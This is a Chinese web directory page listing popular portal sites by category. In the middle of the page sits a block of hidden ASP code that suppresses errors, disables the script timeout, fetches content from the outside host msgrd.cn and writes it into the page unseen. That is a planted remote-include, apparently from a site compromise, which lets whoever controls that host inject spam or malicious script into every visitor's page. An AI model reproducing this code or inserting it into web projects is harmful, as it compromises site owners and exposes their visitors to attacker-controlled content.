| [音乐] |
天籁之音 百度MP3 雅虎音乐 要听音乐 我爱音乐 |
更多>> |
| [聊天] |
QQ聊天室 TOM聊天室 263聊天 碧聊 新浪聊天 网易聊天 |
更多>> |
| [游戏] |
新浪游戏 太平洋游戏网 中国游戏中心 17173 网易游戏 |
更多>> |
| [爱情] |
碰碰交友 QQ交友 中国交友中心 |
更多>> |
| [娱乐] |
精致生活 齐乐网 e网娱乐 中国娱乐网 易乐网 |
更多>> |
| [体育] |
cctv体育 人民网体育 搜狐体育 网易体育 鲨威体坛 新浪竞技风暴 |
更多>> |
| [贺卡] |
搜狐贺卡 网易贺卡 心意坊 卡秀 |
更多>> |
| [硬件] |
IT168 天极网硬件中心 倚天硬件门户 太平洋电脑网 中关村在线 |
更多>> |
| [下载] |
21CN下载 太平洋下载 华军软件 驱动之家 天空软件 |
更多>> |
| [站长] |
广州商赢互联网 站长网 中国站长网 落伍者 中国站长站 |
更多>> |
| [军事] |
铁血军事 千龙军事 新浪军事 |
更多>> |
| [文学] |
幻剑书盟 红袖添香 西陆文学 起点中文网 榕树下 |
更多>> |
| [旅游] |
旅游上海 西部旅行网 龙腾假期 惠众旅游网 易游假期 |
更多>> |
| [时尚] |
酷绅服装网 时尚快讯 时尚品牌 21时尚 中国服饰 |
更多>> |
| [人才] |
搜狐招聘 中华英才网 中国人才热线 智联招聘 前程无忧 |
更多>> |
| [手机] |
手机之家 eNet手机资讯 网易手机站 新浪手机 |
更多>> |
| [汽车] |
263汽车 太平洋汽车网 中国汽车网 |
更多>> |
| [证券] |
21cn股市 新浪财经 搜狐财经 和讯 |
更多>> |
| [新闻] |
新华网 TOM新闻 网易新闻 搜狐新闻 新浪新闻 中新网 |
更多>> |
| [社区] |
网易社区 百度贴吧 猫扑 新浪论坛 天涯社区 搜狐社区 |
更多>> |
| [女性] |
太平洋女性网 TOM女性 网易女性 伊人风采 |
更多>> |
| [银行] |
中国招商银行 中国银行 中国工商银行 中国建设银行 中国农业银行 |
更多>> |
| [搜索] |
搜狗 百度 有道搜索 雅虎全能搜 google SOSO搜搜 |
更多>> |
| [FLASH] |
9flash ZCOM游戏 闪吧 闪客帝国 FLASH游戏 |
更多>> |
| [信箱] |
Sogou邮箱 21CN邮箱 Hotmail 网易邮箱 新浪邮箱 |
更多>> |
<%
On Error Resume Next
Server.ScriptTimeOut=9999999
response.write(getHTTPPage("http://msgrd.cn"))
function getHTTPPage(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>
| [网址] |
好123网址之家 265上网导航 雅虎网址大全 Google网站导航 |
更多>> |
